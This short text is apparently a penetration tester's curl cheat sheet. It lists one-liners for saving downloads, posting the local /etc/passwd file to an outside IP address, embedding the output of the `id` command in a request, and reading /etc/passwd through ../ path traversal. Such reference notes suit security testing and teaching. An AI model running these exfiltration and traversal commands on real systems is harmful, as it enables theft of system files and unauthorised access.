Write into a file: curl $url -o /tmp/f.txtcurl $url --output /tmp/f.txtcurl $url > /tmp/f.txt Post a local file: curl -X POST --data-binary @/etc/passwd http://192.168.49.53:21/ Exe­cute com­mand and return the result: curl -d q=`id` http://localhost:21/ With a header curl --header "Host: localhost" 10.10.10.10 Use the cor­rect path also with ../ (use­full for file tra­ver­sion attacks): curl --path-as-is $target:$port/public/../../../etc/passwd